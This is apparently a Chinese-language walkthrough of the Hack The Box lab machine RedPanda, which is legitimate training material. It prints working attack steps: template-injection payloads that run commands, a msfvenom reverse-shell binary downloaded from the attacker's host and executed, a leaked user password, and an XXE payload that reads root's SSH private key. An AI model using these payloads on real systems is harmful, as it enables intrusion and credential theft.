网址:
https://app.hackthebox.com/machines/RedPanda
信息搜集
使用nmap扫描ip
nmap -sC -sV -p- 10.10.11.170
Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-17 00:14 EDT
Stats: 0:11:45 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 48.06% done; ETC: 00:38 (0:12:41 remaining)
Stats: 0:11:54 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 48.60% done; ETC: 00:38 (0:12:34 remaining)
Stats: 0:21:52 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 50.00% done; ETC: 00:36 (0:00:18 remaining)
Nmap scan report for 10.10.11.170
Host is up (0.29s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
8080/tcp open http-proxy
这台机子只开启了两个端口,我们去web页面看看
下面有一个搜索框,我尝试了sql注入和xxe攻击都没用,用ffuf扫描网站的根目录也没有什么泄露的文件,nuclei工具也没能给我们什么有用的信息
单击搜索会出现一个页面
在下面提示了我们需要注入攻击,sql和xxe都试过了,现在该试试ssti攻击了
xxe攻击介绍:
https://blog.csdn.net/qq_45894840/article/details/124251964?spm=1001.2014.3001.5502
什么是SSTI
ssti的意思是服务端模板注入攻击,那什么是模板呢
简单来说,就是网站内容的动态部分,如果有一个网站的内容几乎相同,但只有某些部分发生改变,那么他们很有可能使用了模板
模板看起来如下:
hello{user.name}
他们有一个静态罐和一个动态罐,hello为静态罐,{}里的内容为动态罐
这就是为什么编译器如何是知道该部分是动态的,另外需要注意的是,并非是所有模板看起来都是像上面那样,列如:
hello{{user.name}}
这是一个名为jinja模板引擎的示例,用流行的python框架(如django和flask)
什么是模板注入
如题所示,它就是存在于web应用中的注入漏洞,例如:
template = "Bio: {{ user.bio }}"
render(template)
如果使用此模板显示用户的输入,那么它是完全安全的,因为我们所做的只是从数据库中获取当前用户的信息,然后将其返回给用户,但下面这个例子就不太一样了:
template = "Bio: " + USER_INPUT
render(template)
如果用户的输入的成为模板的一部分,那么我们就有一个大问题,因为模板有能力执行任意代码,所以用户可以在服务器上获得一个shell
这种漏洞通常被称为服务器模板注入,攻击者可以在其中注入恶意模板代码来获得shell,但需要注意的一点是,它不仅限于服务器,只要模板可用,漏洞就可以存在于任何地方
更详细的原理解释
https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection
检查是否存在SSTI
可以使用以下字符串来测试模板是否存在SSTI,以及网站黑名单
{{7*7}}
${7*7}
<%= 7*7 %>
${{7*7}}
#{7*7}
*{7*7}
在测试到最后两个字符串时,网页出现了变化
服务器执行了我们输入的字符串,7*7
说明网站存在SSTI漏洞,现在尝试读取机子上的/etc/passwd文件
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
反弹shell,获取用户权限
成功读取,现在我们尝试反弹shell,用python开启http服务器
python3 -m http.server 80
然后去靶机网站上执行以下内容
*{"".getClass().forName("java.lang.Runtime").getRuntime().exec("curl http://10.10.14.10")}
可以看到,靶机可以访问我们网站,然后我们用msfvenom生成一个木马
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.10 LPORT=4444 -f elf > shell.elf
chmod 777 shell.elf
然后用netcat监听shell返回的端口
nc -lvnp 4444
去到靶机网站上,依次执行以下内容
*{"".getClass().forName("java.lang.Runtime").getRuntime().exec("wget http://10.10.14.10/shell.elf")} //从我们网站上获取木马
*{"".getClass().forName("java.lang.Runtime").getRuntime().exec("chmod 777 ./shell.elf")} //给木马当前用户最大的权限
*{"".getClass().forName("java.lang.Runtime").getRuntime().exec("./shell.elf")} //执行木马
成功返回shell
python3 -c 'import pty; pty.spawn("/bin/bash")' //获取bash,使shell更方便
提权
信息搜集
现在我们只是一个普通用户的权限,需要获取root权限,首先我们还需要用linpeas脚本搜集机子的基本信息
这是一个自动化枚举工具:
https://github.com/carlospolop/PEASS-ng/releases/tag/20221016
下载好后,放到刚刚生成木马的文件夹里
然后将这个脚本移动到靶机里
wget http://10.10.14.10/linpeas.sh
chmod 777 linpeas.sh
./linpeas.sh
sudo程序有漏洞,但是无法在机子上编译c文件,在kali上编译后,去机子上执行也失败
但是找到了网站模板的目录,还发现机子正在执行mysql数据库
在网站模板的目录里找了一会,发现了一个文件有用户的密码
cat /opt/panda_search/src/main/java/com/panda_search/htb/panda_search/MainController.java
woodenk用户的密码是RedPandazRule,然后ssh登录上去
ssh woodenk@10.10.11.170
由于机子开启了mysql服务,我登录进数据库里并没有找到什么有用的信息
然后使用pspy程序监听linux进程
https://github.com/DominicBreuker/pspy
然后将此程序移动到靶机里,操作和上面的linpeas脚本一样
运行程序后,等待几分钟,可以发现一些有用的信息
在opt目录下有一个脚本在运行,我们查看一下
提权root
他定时会删除一些指定文件名的文件,再去看看之前找到用户名密码的文件
cat /opt/panda_search/src/main/java/com/panda_search/htb/panda_search/MainController.java
@GetMapping(value="/export.xml", produces = MediaType.APPLICATION_OCTET_STREAM_VALUE)
public @ResponseBody byte[] exportXML(@RequestParam(name="author", defaultValue="err") String author) throws IOException {
System.out.println("Exporting xml of: " + author);
if(author.equals("woodenk") || author.equals("damian"))
{
InputStream in = new FileInputStream("/credits/" + author + "_creds.xml");
System.out.println(in);
return IOUtils.toByteArray(in);
}
else
{
return IOUtils.toByteArray("Error, incorrect paramenter 'author'\n\r");
}
}
这是程序导出xml文件方式,还可以在网站上直接下载这个xml文件
最关键的是机子在以root的身份执行另一个jar文件,我们下载然后用jd-gui打开看看
jd-gui工具下载地址:
http://java-decompiler.github.io/
移动到此目录,打开python的http服务器,然后获取此文件
cd /opt/credit-score/LogParser/final/target
python3 -m http.server 6666
然后用kali获取此jar文件
wget http://10.10.11.170:6666/final-1.0-jar-with-dependencies.jar
用jd-gui打开
在这里可以发现一些关键信息
public static String getArtist(String uri) throws IOException, JpegProcessingException {
String fullpath = "/opt/panda_search/src/main/resources/static" + uri;
File jpgFile = new File(fullpath);
Metadata metadata = JpegMetadataReader.readMetadata(jpgFile);
for (Directory dir : metadata.getDirectories()) {
for (Tag tag : dir.getTags()) {
if (tag.getTagName() == "Artist")
return tag.getDescription();
}
}
return "N/A";
}
jpg文件的元数据标签"Artist"必须有与/credits/<author_name>_creds.xml文件里的值匹配
我们可以在“Artist”字段中注入 xml 所在的路径,然后获取我们想要的信息
我们随便选取一张图片,设置exif信息,然后将图片移动到靶机里
exiftool -Artist="../home/woodenk/privesc" gato.jpg
scp gato.jpg woodenk@10.10.11.170:.
接下来,我们将在当前用户目录中创建一个xml文件,获取root私钥
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY key SYSTEM "file:///root/.ssh/id_rsa"> ]>
<credits>
<author>damian</author>
<image>
<uri>/../../../../../../../home/woodenk/gato.jpg</uri>
<privesc>&key;</privesc>
<views>0</views>
</image>
<totalviews>0</totalviews>
</credits>
public static Map parseLog(String line) {
String[] strings = line.split(
Map map = new HashMap<>();
map.put("status_code", Integer.parseInt(strings[
map.put("ip", strings[1]);
map.put("user_agent", strings[2]);
map.put("uri", strings[3]);
return map;
}
然后要设置User-Agent头发出curl请求
curl http://10.10.11.170:8080 -H "User-Agent: ||/../../../../../../../home/woodenk/gato.jpg"
下载程序导出的xml文件,触发xxe
回到靶机里,查看文件,可以发现root的私钥
touch id_rsa
chmod 600 id_rsa
然后将密钥信息粘贴进去
ssh root@10.10.11.170 -i id_rsa
成功提权到root
HTB个人页面,欢迎大家来关注
https://app.hackthebox.com/profile/356040